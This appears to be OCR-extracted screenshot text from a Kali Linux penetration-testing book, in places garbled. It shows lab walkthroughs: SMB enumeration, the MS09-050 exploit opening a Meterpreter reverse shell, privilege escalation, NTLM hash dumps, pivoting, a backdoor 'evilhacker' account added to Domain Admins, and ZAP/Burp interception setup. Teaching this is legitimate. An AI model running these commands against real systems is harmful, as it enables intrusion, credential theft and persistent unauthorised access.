| $\begin{aligned} & 192.168 .202 .2 \\ & 01: 05: 49 Z \end{aligned}$ | 88 | tcp | kerberos-sec | open | Windows 2003 Kerberos server time: 2015-05-04 |



## 圂

## Tue May 5, 3:57 PM

root@kalibook: ~
File Edit View Search Terminal Help
root@kalibook:~\# nbtscan -v -s : 192.168.202.0/24
192.168.202.0 Sendto failed: Permission denied
192.168.202.2:B0-DC1 :00U
192.168.202.2:LAB1 :00G
192.168.202.2:LAB1 :1cG
192.168.202.2:B0-DC1 :20U
192.168.202.2:LAB1 :1bU
192.168.202.2:MAC:00:0c:29:87:6d:55
192.168.202.3:B0-SRV2 :00U
192.168.202.3:LAB1 :00G
192.168.202.3:B0-SRV2 :20U
192.168.202.3:MAC:00:0c :29:25:79:94
192.168.202.255 Sendto failed: Permission denied
root@kalibook:~\#

```
Pipe Auditor
    auxiliary/scanner/smb/pipe_dcerpc_auditor
Pipe DCERPC Auditor
    auxiliary/scanner/smb/psexec_loggedin_users
ndows Authenticated Logged In Users Enumeration
    auxiliary/scanner/smb/smb2
ocol Detection
    auxiliary/scanner/smb/smb enumshares
umeration
    auxiliary/scanner/smb/smb_enumusers
meration (SAM EnumUsers)
    auxiliary/scanner/smb/smb_enumusers_domain
ser Enumeration
    auxiliary/scanner/smb/smb_login
eck Scanner
    auxiliary/scanner/smb/smb_lookupsid
Enumeration (LookupSid)
    auxiliary/scanner/smb/smb_version
Detection
    auxiliary/scanner/snmp/snmp_enumshares
SMB Share Enumeration
    auxiliary/server/capture/smb
on Capture: SMB
    auxiliary/server/http_ntlmrelay
MS Credential Relayer
    auxiliary/spoof/nbns/nbns response
Service Spoofer
    exploit/linux/samba/chain_reply 2010-06-16
msf > use auxiliary/scanner/smb/smb_enumshares
msf auxiliary(smb enumshares) > show options
Module options (auxiliary/scanner/smb/smb_enumshares):
```



```
msf auxiliary(smb_enumshares) > show options
Module options (auxiliary/scanner/smb/smb_enumshares):
\begin{tabular}{|c|c|c|c|}
\hline Name & Current Setting & Required & Description \\
\hline LogSpider & 3 & no & 0 = disabled, \(1=\) CSV, \(2=\) table (txt), 3 = one liner (txt) \\
\hline \multicolumn{4}{|l|}{(accepted: 0, 1, 2, 3)} \\
\hline MaxDepth & 999 & yes & Max number of subdirectories to spider \\
\hline RHOSTS & 192.168.202.3 & yes & The target address range or CIDR identifier \\
\hline SMBDomain & LAB1 & no & The Windows domain to use for authentication \\
\hline SMBPass & & no & The password for the specified username \\
\hline SMBUser & Guest & no & The username to authenticate as \\
\hline ShowFiles & false & yes & Show detailed information when spidering \\
\hline SpiderProfiles & true & no & Spider only user profiles when share \(=C \$\) \\
\hline SpiderShares & false & no & Spider shares recursively \\
\hline THREADS & 1 & yes & The number of concurrent threads \\
\hline USE_SRVSVC_ONLY & false & yes & List shares only with SRVSVC \\
\hline
\end{tabular}
[-] 192.168.202.3:139 - Login Failed: The SMB server did not reply to our request
[-] 192.168.202.3:445 - Login Failed: The server responded with error: STATUS ACCOUNT DISABLED (Command=11
WordCount=0)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_enumshares) >
msf auxiliary(pipe_dcerpc_auditor) > show options
Module options (auxiliary/scanner/smb/pipe_dcerpc_auditor):
\begin{tabular}{|c|c|c|c|}
\hline Name & Current Setting & Required & Description \\
\hline RHOSTS & & yes & The target address range or CIDR identifier \\
\hline SMBDomain & WORKGROUP & no & The Windows domain to use for authentication \\
\hline SMBPIPE & BROWSER & yes & The pipe name to use (BROWSER) \\
\hline SMBPass & & no & The password for the specified username \\
\hline SMBUser & & no & The username to authenticate as \\
\hline THREADS & 1 & yes & The number of concurrent threads \\
\hline
\end{tabular}
msf auxiliary(pipe_dcerpc_auditor) > set SMBDomain LAB1
SMBDomain => LAB1
msf auxiliary(pipe dcerpc_auditor) > set RHOSTS 192.168.202.3
RHOSTS => 192.168.202.3
msf auxiliary(pipe_dcerpc_auditor) > show options
Module options (auxiliary/scanner/smb/pipe_dcerpc_auditor):
\begin{tabular}{|c|c|c|c|}
\hline Name & Current Setting & Required & Description \\
\hline RHOSTS & 192.168.202.3 & yes & The target address range or CIDR identifier \\
\hline SMBDomain & LAB1 & no & The Windows domain to use for authentication \\
\hline SMBPIPE & BROWSER & yes & The pipe name to use (BROWSER) \\
\hline SIMBPass & & no & The password for the specified username \\
\hline SMBUser & & no & The username to authenticate as \\
\hline THREADS & 1 & yes & The number of concurrent threads \\
\hline
\end{tabular}
msf auxiliary(pipe_dcerpc_auditor) > exploit < < Run module
```

Login Failed: The server refused our NetBIOS session request [*] Scanned 1 of 1 hosts (100\% complete)
[*] Auxiliary module execution completed
msf auxiliary(pipe_dcerpc_auditor) >

```
msf exploit(ms09_050_smb2_negotiate_func_index) > show options
Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):
    Name Current Setting Required Description
    RHOST 192.168.202.3 yes The target address
    RPORT 445 yes The target port
    WAIT 180 yes The number of seconds to wait for the attack to complete.
Exploit target:
    Id Name
    0 Windows Vista SP1/SP2 and Server 2008 (x86)
msf exploit(ms09_050_smb2_negotiate_func_index) > exploit
[*] Started reverse handler on 192.168.202.129:4444
[*] Connecting to the target (192.168.202.3:445).
[*] Sending the exploit packet (857 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger..
[*] Sending stage (770048 bytes) to 192.168.202.3
[*] Meterpreter session 1 opened (192.168.202.129:4444 -> 192.168.202.3:49273) at 2015-05-09 15:26:58 -040
meterpreter > 
```

```
meterpreter > getsystem
...got system (via technique 1)
meterpreter > sysinfo
Computer : B0-SRV2
OS : Windows 2008 (Build 6002, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x8\overline{6}/win32
meterpreter > shell
Process 3164 created.
Channel 1 created.
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Windows\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection 2:
    Connection-specific DNS Suffix . :
    Link-local IPv6 Address . . . . . : fe80::8db8:e51a:b0bf:6bf7%11
    IPv4 Address. . . . . . . . . . . : 10.100.0.189
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 10.100.0.1
Ethernet adapter Local Area Connection:
    Connection-specific DNS Suffix . :
    Link-local IPv6 Address . . . . . : fe80::195a:3d7a:5793:feb1%10
    IPv4 Address. . . . . . . . . . . : 192.168.202.3
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 192.168.202.1
```

```
meterpreter > getsystem
...got system (via technique 1).
meterpreter > hashdump
Administ rator:500:aad3b435b51404eeaad3b435b51404ee:12ea9dbeb86915b658d7b57f13ab1dd7 : : :
bo:1000:aad3b435b51404eeaad3b435b51404ee:12ea9dbeb86915b658d7b57f13ab1dd7 :::
Guest:501 : aad3b435b51404eeaad3b435b51404ee:31d6c fe0d16ae931b73c59d7e0c089c0:::
IUSR_B0-SRV2:1001 : aad3b435b51404eeaad3b435b51404ee:24a78db36bbbabadd6bb0af1c07ba654:::
meterpreter > help upload
Usage: upload [options] src1 src2 src3 ... destination
Uploads local files and directories to the remote machine.
OPTIONS
    -h Help banner.
    -r Upload recursively.
```

```
meterpreter > upload /root/youvebeenpwned.txt c:\windows\system32\
[*] uploading : /root/youvebeenpwned.txt -> c:windowssystem32\
[-] core channel open: Operation failed: The system cannot find the path specified
meterpreter > upload /root/youvebeenpwned.txt c:/windows/system32/
[*] uploading : /root/youvebeenpwned.txt -> c:/windows/system32/
[*] uploaded :/root/youvebeenpwned.txt -> c:/windows/system32/\youvebeenpwned.txt
```

| Session | Station | Name |
| :---: | :---: | :---: |
| $\bigcirc$ | WinSta0 | Default |
| 0 | WinSta0 | Disconnect |
| 0 | WinSta0 | Winlogon |
| 0 | __X78B95_89_IW | __A8D9S1_42_ID |

```
```

meterpreter > enumdesktops

```
meterpreter > enumdesktops
Enumerating all accessible desktops
Enumerating all accessible desktops
Desktops
```

Desktops

```
```

meterpreter > shell
Process 2840 created.
Channel 2 created.
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd ..
cd ..
C:\Windows>cd ..
cd ..

```
```

C:\>ls
ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

```
```

C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1A57-91D4
Directory of C:\
09/18/2006 05:43 PM
09/18/2006 05:43 PM
05/03/2015 04:57 PM <DIR>
05/03/2015 04:49 PM <DIR>
01/19/2008 05:40 AM <DIR>
05/03/2015 04:30 PM <DIR>
05/03/2015 11:39 PM <DIR>
05/03/2015 04:49 PM <DIR>

```

24 autoexec.bat
10 config.sys files inetpub PerfLogs Program Files Users Windows

System32



\subsection*{192.168.202.2}

```

msf exploit(ms09_050_smb2_negotiate_func_index) > exploit
[*] Started reverse handler on 10.100.0.196:4444
[*] Connecting to the target (10.100.0.189:445)..
[*] Sending the exploit packet (857 bytes)..
[*] Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (770048 bytes) to 10.100.0.189
[*] Meterpreter session 1 opened (10.100.0.196:4444 -> 10.100.0.189:49175) at 2015-05-16 11:22:37 -0400
meterpreter > -

```
```

meterpreter > getsystem
...got system (via technique 1).
meterpreter > sysinfo
Computer: B0-SRV2
OS : Windows 2008 (Build 6002, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter: x8\overline{6}/win32
meterpreter > shell
Process 3164 created.
Channel 1 created.
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Windows\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection 2:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::8db8:e51a:b0bf:6bf7%11
IPv4 Address. . . . . . . . . . . : 10.100.0.189
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.100.0.1
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::195a:3d7a:5793:feb1%10
IPv4 Address. . . . . . . . . . . : 192.168.202.3
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.202.1

```
meterpreter > background
[*] Backgrounding session \(1 .\).
msf exploit(ms09_050_smb2_negotiate_func_index) > sessions -l
Active sessions
Ac============ Session ID Number
    Id Type Information Connection
    1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ BO-SRV2 10.100.0.196:4444 -> 10.100.0.189:49175 (10.
\(00.0 .189)\)
msf exploit(ms09 050 smb2 negotiate func index) >
```

C:\Windows\system32>exit
meterpreter > background
[*] Backgrounding session 1...
msf exploit(ms09_050_smb2_negotiate_func_index) > route add 192.168.202.0 255.255.255.0 1
[*] Route added
msf exploit(ms09_050_smb2_negotiate_func_index) > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local.
msf exploit(ms09_050_smb2_negotiate_func_index) > route print
Active Routing Table

```

Subnet
192.168 .202 .0

Netmask
255.255.255.0

Gateway
Session 1
```

msf exploit(ms09_050_smb2_negotiate_func_index) >

```
```

msf auxiliary(udp_probe) > set RHOSTS 192.168.202.0/24
RHOSTS => 192.168.202.0/24
msf auxiliary(udp_probe) > set LHOST 10.100.0.196
LHOST => 10.100.0.196
msf auxiliary(udp_probe) > show options
Module options (auxiliary/scanner/discovery/udp_probe):

| Name | Current Setting | Required | Description |
| :---: | :---: | :---: | :---: |
| CHOST |  | no | The local client address |
| RHOSTS | 192.168.202.0/24 | yes | The target address range or CIDR identifier |
| THREADS | 1 | yes | The number of concurrent threads |

msf auxiliary(udp_probe) > run
[*] Discovered Portmap on 192.168.202.1:111 (100000 v4 TCP(111), 100000 v3 TCP(111), 100000 v2 TCP(111),
100000 v4 UDP(111), 100000 v3 UDP(111), 100000 v2 UDP(111), 100024 v1 UDP(58566), 100024 v1 TCP(44826))
[*] Discovered DNS on 192.168.202.2:53 (Microsoft DNS)
[*] Discovered NTP on 192.168.202.2:123 (1c0104fa00000000000a065f4c4f434cd904e97fce6ca397c54f234b71b152f
d904eca381e16001d904eca381e16001)
[*] Discovered NetBIOS on 192.168.202.2:137 (BO-DC1:<00>:U :LAB1:<00>:G :LAB1:<1c>:G :BO-DC1:<20>:U :LAB
:<1b>:U :00:0c:29:87:6d:55)
[*] Discovered Portmap on 192.168.202.3:111 (100000 v2 UDP(111), 100000 v3 UDP(111), 100000 v4 UDP(111),
100000 v2 TCP(111), 100000 v3 TCP(111), 100000 v4 TCP(111), 100005 v1 TCP(1048), 100005 v2 TCP(1048), 10
0 0 5 ~ v 3 ~ T C P ( 1 0 4 8 ) , ~ 1 0 0 0 0 5 ~ v 1 ~ U D P ( 1 0 4 8 ) , ~ 1 0 0 0 0 5 ~ v 2 ~ U D P ( 1 0 4 8 ) , ~ 1 0 0 0 0 5 ~ v 3 ~ U D P ( 1 0 4 8 ) , ~ 1 0 0 0 2 1 ~ v 1 ~ T C P ( 1 0 4 7 ) , ~ 1 0 ~
0 2 1 ~ v 2 ~ T C P ( 1 0 4 7 ) , ~ 1 0 0 0 2 1 ~ v 3 ~ T C P ( 1 0 4 7 ) , ~ 1 0 0 0 2 1 ~ v 4 ~ T C P ( 1 0 4 7 ) , ~ 1 0 0 0 2 1 ~ v 1 ~ U D P ( 1 0 4 7 ) , ~ 1 0 0 0 2 1 ~ v 2 ~ U D P ( 1 0 4 7 ) , ~ 1 0 ~
0 2 1 ~ v 3 ~ U D P ( 1 0 4 7 ) , ~ 1 0 0 0 2 1 ~ v 4 ~ U D P ( 1 0 4 7 ) , ~ 1 0 0 0 2 4 ~ v 1 ~ T C P ( 1 0 3 9 ) , ~ 1 0 0 0 2 4 ~ v 1 ~ U D P ( 1 0 3 9 ) , ~ 1 0 0 0 0 3 ~ v 2 ~ T C P ( 2 0 4 9 ) , ~ 1 0
003 v3 TCP(2049), 100003 v2 UDP(2049), 100003 v3 UDP(2049))
[*] Discovered NetBIOS on 192.168.202.3:137 (B0-SRV2:<00>:U :LAB1:<00>:G :B0-SRV2:<20>:U :00:0c:29:25:79
94)
[*] Scanned 26 of 256 hosts (10% complete)
[*] Scanned 52 of 256 hosts (20% complete)
[*] Scanned 77 of 256 hosts (30% complete)

```


\footnotetext{
meterpreter > hashdump
Administ rator:500:aad3b435b51404eeaad3b435b51404ee:12ea9dbeb86915b658d7b57f13ab1dd7:: Guest:501 : aad3b435b51404eeaad3b435b51404ee:31d6c fe0d16ae931b73c59d7e0c089c0:: : krbtgt:502: aad3b435b51404eeaad3b435b51404ee:2cc97460eafa5ale80d8e6870b896c4d: : bo:1000: aad3b435b51404eeaad3b435b51404ee:12ea9dbeb86915b658d7b57f13ab1dd7: :
fflintstone:1105: aad3b435b51404eeaad3b435b51404ee:0005ed44b7e569f72d2b22ea684c1be0: : : sslow:1106: aad3b435b51404eeaad3b435b51404ee:e2708c09c566c4c8a9bbd94a9c273cab: : : rred:1107: aad3b435b51404eeaad3b435b51404ee:8e274cba3349e3d40e467d88eb2098e6:: :
B0-DC1\$:1001 : aad3b435b51404eeaad3b435b51404ee:3a1bca251ca7f2b86ccd6b8865a26d82: : :
B0-SRV2\$:1108: aad3b435b51404eeaad3b435b51404ee:7ebb80ecf76ced4ffcf88485be6d64c3:: :
}

C: \Windows \system32>net user evilhacker lamepassword/add
net user evilhacker lamepassword /add
The password does not meet the password policy requirements. Check the minimum password length, \(p\) assword complexity and password history requirements.

More help is available by typing NET HELPMSG 2245.

C: \Windows\system32>net user evilhacker LamePassword1 /add
net user evilhacker LamePasswordl /add
The command completed successfully.

C: \Windows\system32>net localgroup "Administrators" evilhacker /add net localgroup "Administrators" evilhacker /add
The command completed successfully.

C:\Windows\system32>net group "Domain Admins" evilhacker /add
net group "Domain Admins" evilhacker /add
The command completed successfully.

C: \Windows\system32>
```

Active sessions
-_--=--=-======
msf exploit(ms09_050_smb2_negotiate_func_index) > sessions -K
[*] Killing all sessions...
[*] 10.100.0.189 - Meterpreter session 1 closed.
[*] 192.168.202.2 - Meterpreter session 2 closed.
msf exploit(ms09_050_smb2_negotiate_func_index) >

```



Windows Security \(\mathbf{x}\)

Enter your credentials
These credentials will be used to connect to 192.168.202.2.

\(\square\) Remember my credentials



\section*{Chapter 4: Web Application Exploitation}

Could not connect to database.
Kali Linux 1.x users, try:
service postgresql start
service metasploit start
service metasploit stop

Kali Linux 2.x users, try:
/etc/init.d/postgresql start

Connection refused. Check that the hostname and port are correct and that the postmaster is accepting TCP/IP connections.



\begin{tabular}{|c|c|c|c|c|}
\hline Console X S & es X & \multicolumn{3}{|l|}{} \\
\hline host & \(\triangle\) name & port & proto & info \\
\hline 192.168.56.103 & & 139 & tcp & \\
\hline 192.168.56.103 & http & 80 & tcp & Microsoft-IIS/7.5 \\
\hline 192.168.56.103 & smb & 445 & tcp & Windows 7 Professional SP1 (build:7601) (name:... \\
\hline
\end{tabular}

\begin{tabular}{|c|c|c|c|c|c|c|}
\hline Console X & Scan X & \multicolumn{2}{|c|}{Check Exploits X} & \multicolumn{3}{|c|}{Scan X} \\
\hline Check Exploits X & Check Exploits X & exploit X & Check Exploits & X & exploit & X \\
\hline
\end{tabular}

Find: vulnerable \(<>\) Phrase not found
msf exploit(zemra_panel_rce) > check
===== Checking multi/http/zenworks_configuration management upload =====
msf exploit(zemra_panel_rce) > use multi/http/zenworks_configuration_management_upload
msf exploit(zenworks_configuration_management_upload) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf exploit(zenworks_configuration_management_upload) > check


Armitage View Hosts Attacks Workspaces Help


Console X nmap X
[*] Nmap: Scanning 2 hosts [1000 ports/host]
[*] Nmap: Discovered open port 135/tcp on 192.168.56.103
[*] Nmap: Discovered open port 80/tcp on 192.168.56.103
[*] Nmap: Discovered open port 139/tcp on 192.168.56.103
[*] Nmap: Discovered open port 445/tcp on 192.168.56.103
[*] Nmap: Discovered open port 49157/tcp on 192.168.56.103
[*] Nmap: Discovered open port 49156/tcp on 192.168.56.103
[*] Nmap: Discovered open port 2107/tcp on 192.168.56.103
[*] Nmap: Discovered open port 2105/tcp on 192.168.56.103
[*] Nmap: Discovered open port 2103/tcp on 192.168.56.103
[*] Nmap: Discovered open port 1801/tcp on 192.168.56.103
msf >



MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection
A heap-based buffer overflow can occur when calling the undocumented "sp_replwritetovarbin" extended stored procedure. This vulnerability affects all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database, and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004. Microsoft patched this vulnerability in SP3 for 2005 without any public mention. This exploit smashes several pointers, as shown below. 1. pointer to a 32 -bit value that is set to 02 . pointer to a 32 -bit value that is set to a length influcenced by the buffer length. 3 . pointer to a 32 -bit value that is used as a vtable pointer. In MSSQL 2000, this value is referenced with a displacement of \(0 \times 38\). For MSSQL 2005, the displacement is \(0 \times 10\). The address of our buffer is conveniently stored in ecx when this instruction is executed. 4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with a displacement of 4 . This pointer is not used by this exploit. This particular exploit replaces the previous dual-method exploit. It uses a technique where the value contained in ecx becomes the stack. From there, return oriented programming is used to normalize the execution state and finally execute the payload via a "jmp esp". All addresses used were found within the sqlservr. exe memory space, yielding very reliable code execution using only a single query.
\begin{tabular}{|c|c|c|}
\hline Option & 4 & Value \\
\hline \multicolumn{3}{|l|}{COOKIE} \\
\hline \multicolumn{3}{|l|}{DATA} \\
\hline GET_PATH & & 1 \\
\hline LHOST & & 10.0.0.7 \\
\hline LPORT & & 22737 \\
\hline METHOD & & GET \\
\hline \multicolumn{3}{|l|}{Proxies} \\
\hline RHOST + & & 10.0.0.187 \\
\hline RPORT & & 80 \\
\hline \multicolumn{3}{|l|}{VHOST} \\
\hline \multicolumn{3}{|l|}{Targets: \(0=>\) Automatic} \\
\hline \multicolumn{3}{|l|}{(V) Use a reverse connection} \\
\hline \multicolumn{3}{|l|}{\(\square\) Show advanced options} \\
\hline & Lau & nch \\
\hline
\end{tabular}


ZAP : Licensed under the Apache License, Version 2.0.
For the other libraries included in ZAP, please refer to respective licenses of the libraries enclosed with this package.

> Apache License
> Version 2.0, January 2004
> http://www.apache.org/licenses/

TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50\%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.
"Ohinct" farm chall mann anv farm racultina from machaninal
Accept Decline

\section*{OWASP ZAP - OWASP ZAP 2.4.1}

Eile Edit View Analyse Report Iools Online Help






File Edit View Analyse Report Iools \(\underline{O}\) nline \(\underline{H}\) elp


Untitled Session－generic－corp－wS2K12－01－OWASP ZAP 2．4．1
Eile Edit View Analyse Report Iools Online Help


\begin{tabular}{|c|}
\hline  \\
\hline
\end{tabular}

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications． Please be aware that you should only attack applications that you have been specifically been given permission to test． To quickly test an application，enter its URL below and press＇Attack＇．

URL to attack：
\begin{tabular}{|l|l|}
\hline http：／／192．168．56．103 & Select．．． \\
\hline Attack \\
Attack complete－see the Alerts tab for details of any issues found
\end{tabular}

For a more in depth test you should explore your application using your browser or automated regression tests while proxying throl
If you are using Firefox 24.0 or later you can use＇Plug－n－Hack＇to configure your browser：
Configure your browser：Plug－n－Hack
4
\begin{tabular}{|c|c|c|c|c|c|c|c|c|c|}
\hline 里 History Q Search & Pu Alerts Outpu & \multicolumn{8}{|l|}{湤 Spider Active Scan \(\$ \times \pm\)} \\
\hline 慉 O New Scan Progre & ss：0：http：／／192．168 & 8．56．103 & v III \(\square\) 國 \(\square\) & & Current & Scan & s： 0 ｜Num requests： & & \(\xi^{3}\) \\
\hline Id Req．Timestamp & Resp．Timestamp & Method & URL & Code & Reason & RTT & Size Resp．Header & Size Resp．Body & 因 \\
\hline 10 16／03／16 21：11：49 & 16／03／16 21：11：49 & GET & http：／／192．168．56．103／893442572015009．．． & 404 & Not Found & 2．．． & 160 bytes & 1.22 KiB & \(\wedge\) \\
\hline 13 16／03／16 21：11：51 & 16／03／16 21：11：51 & GET & http：／／192．168．56．103／robots．txt／ & 404 & Not Found & 7．．． & 160 bytes & 1.22 KiB & \\
\hline 12 16／03／16 21：11：51 & 16／03／16 21：11：51 & GET & http：／／192．168．56．103／ & 200 & OK & 8．．． & 247 bytes & 735 bytes & \\
\hline 14 16／03／16 21：11：51 & 16／03／16 21：11：51 & GET & http：／／192．168．56．103／sitemap．xml／ & 404 & Not Found & & 160 bytes & 1.22 KiB & \\
\hline 15 16／03／16 21：11：52 & 16／03／16 21：11：52 & GET & http：／／192．168．56．103 & 200 & OK & & 247 bytes & 735 bytes & \\
\hline 16 16／03／16 21：11：52 & 16／03／16 21：11：52 & GET & http：／／192．168．56．103／robots．txt & 404 & Not Found & & 160 bytes & 1.22 KiB & \\
\hline 17 16／03／16 21：11：52 & 16／03／16 21：11：52 & GET & http：／／192．168．56．103／sitemap．xml & 404 & Not Found & 4．．． & 160 bytes & 1.22 KiB & \\
\hline
\end{tabular}


\section*{Welcome to the OWASP Zed Attack Proxy (ZAP)}

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
Please be aware that you should only attack applications that you have been specifically been given permission to test.
```

Click to setup!

```


ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
Please be aware that you should only attack applications that you have been specifically been given permission to test.

ZAP support has been activated in your browser:
ZAP support has been activated in your browser:
Click to setup!


\section*{Welcome to the OWASP Zed Attack Proxy (ZAP)}

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
Please be aware that you should only attack applications that you have been specifically been given permission to test.

Configuring your browser to work with 7.AP.
```

Warning
Would you like to enable this site as a Plug-n-Hack provider?
Plug-n-hack providers (e.g. man-in-the-middle proxies) can intercept and modify all traffic to
and from your browser while activated; Do not enable unless you completely understand
what you are doing.
| | understand
Cancel Enable

```
about:sessionrestore \(\times\) ZAP Simple Browser Con... \(\times \ldots\)


國Most Visited \(\boldsymbol{\nabla}\). \(\mathrm{H}_{\boldsymbol{H}}\) Offensive Security Kali Linux Kali Docs Kali Tools Exploit-DB Aircrack-ng

\section*{Welcome to the OWASP Zed Attack Proxy (ZAP)}

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
Please be aware that you should only attack applications that you have been specifically been given permission to test.

Configuration succeeded, you are now proxying through ZAP!
You can control both Plug-n-Hack and ZAP via the Firefox Developer Toolbar (Shift+F2) - type 'help pnh' or 'help zap' to get started.
```

Synopsis: " pnh
Commands for interacting with a Plug-n-Hack provider (e.g. OWASP ZAP)
Sub-Commands:

- pnh config: pnh configuration operations " help pnh config
- pnh config apply: apply a pnh config $>$ help pnh config apply
- pnh config clear: clear the current pnh config $>$ help pnh config clear
- pnh config list: list pnh configs $>$ help pnh config list
- pnh config remove: remove a pnh config $>$ help pnh config remove
- pnh config show: show the current config $\gg$ help pnh config show

```
```

Synopsis: „zap
OWASP ZAP Commands
Sub-Commands:
- zap brk: Break on all new requests and/or responses n help zap brk
- zap http-session: Manipulate HTTP sessions „ help zap http-session
- zap http-session new: Start a new HTTP session " help zap http-session new
- zap http-session rename: Rename an HTTP session „ help zap http-session rename
- zap http-session switch: Switch to another HTTP session \# help zap http-session switch
- zap record: Record all requests % help zap record
- zap scan: Control the ZAP active scanner „ help zap scan
- zap scan start: Start actively scanning a site \# help zap scan start
- zap scan status: Scan progress out of 100 n help zap scan status
- zap session: Manipulate ZAP sessions \# help zap session
- zap session clear: Clear the ZAP session (not saved to disk) \# help zap session clear
- zap session new: Create a new ZAP session (saved to disk) " help zap session new
- zap spider: Control the ZAP spider \# help zap spider
- zap spider start: Start spidering a site \# help zap spider start
- zap spider status: Spider progress out of 100 \# help zap spider status
- zap spider stop: Stop spidering a site " help zap spider stop
* zap version: Returns the ZAP version „ help zap version

```


\section*{Server Error in '/' Application.}

\section*{Runtime Error}

Description: An application error occurred on the server. The current custom error settings for this application prevent the details of the application error from being viewed remotely (for security reasons). It could, however, be viewed by browsers running on the local server machine.

Details: To enable the details of this specific error message to be viewable on remote machines, please create a <customErrors> tag within a "web.config" configuration file located in the root directory of the current web application. This <customErrors> tag should then have its "mode" attribute set to "Off".
<!-- Web.Config Configuration File -->

> <configuration>
<system.web>

zap spider start http:///192.168.56.103
\(8 x\)
\(\square\)
the site to spider
</confid Can't use 'http://3039.info'

\footnotetext{
zap spider start http://3039.info
}


WooCommerce Featured Products



\begin{tabular}{|c|c|c|c|c|c|c|c|c|c|c|c|c|c|}
\hline \multicolumn{14}{|c|}{Burp Suite Free Edition v1.6.32} \\
\hline \multicolumn{14}{|l|}{Burp Intruder Repeater Window} \\
\hline Target & Proxy & Spider & & & Intruder & Repeater & Sequencer & Decoder & Comparer & Extender & Options & Alerts & \\
\hline \multicolumn{14}{|l|}{Site map Scope} \\
\hline \multicolumn{14}{|l|}{\multirow[t]{2}{*}{\begin{tabular}{l}
(? Target Scope
Define the in-scope targets for your current work. This configuration affects the behavior of tools throughout the suite. All fields take regex strings. The easiest way to configure scope is to browse to your target and use the context menus in the site map to include or exclude URL paths. \\
Include in scope \\
Exclude from scope
\end{tabular}}} \\
\hline & & & & & & & & & & & & & \\
\hline
\end{tabular}

\section*{Connection Settings}

\section*{Configure Proxies to Access the Internet}No proxyAuto-detect proxy settings for this networkUse system proxy settings
- Manual proxy configuration:


No Proxy for:


Example: .mozilla.org, .net.nz, 192.168.1.0/24
O
Automatic proxy configuration URL:
http://localhost:8080/proxy.pacDo not prompt for authentication if password is saved

\section*{Help}


\section*{This Connection is Untrusted}

You have asked Iceweasel to connect securely to www.yahoo.com, but we can't confirm that your connection is secure.

Normally, when you try to connect securely, sites will present trusted identification to prove that you are going to the right place. However, this site's identity can't be verified.


Welcome to Burp Suite Free Edition. You can use this web interface to access the Proxy history, download your Burp CA certificate, or configure your browser (via the Firefox plug-n-hack plugin).

\section*{Certificate Manager \\ Your Certificates People Servers Authorities Others}

You have certificates on file that identify these certificate authorities:

\begin{tabular}{|l|l|}
\hline View... Edit Trust... Import... Export... Delete or Distrust... \\
\hline
\end{tabular}

Select File containing CA certificate(s) to import


\section*{Downloading Certificate}

You have been asked to trust a new Certificate Authority (CA)

Do you want to trust "PortSwigger CA" for the following purposes?
\(\checkmark\) Trust this CA to identify websites.Trust this CA to identify email users.Trust this CA to identify software developers.

Before trusting this CA for any purpose, you should examine its certificate and its policy and procedures (if available).

\section*{View}

Examine CA certificate


Burp Intruder Repeater Window Help
\begin{tabular}{|c|c|c|c|c|c|c|c|c|c|c|c|c|}
\hline Target & Proxy & Spider & Scanner & Intruder & Repeater & Sequencer & Decoder & Comparer & Extender & Options & Alerts & \\
\hline Control & \multicolumn{12}{|l|}{Options} \\
\hline
\end{tabular}


\section*{Chapter 5: Sniffing and Spoofing}


root@kalibook:~/kalibook/evidence\# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:01:3c:9f
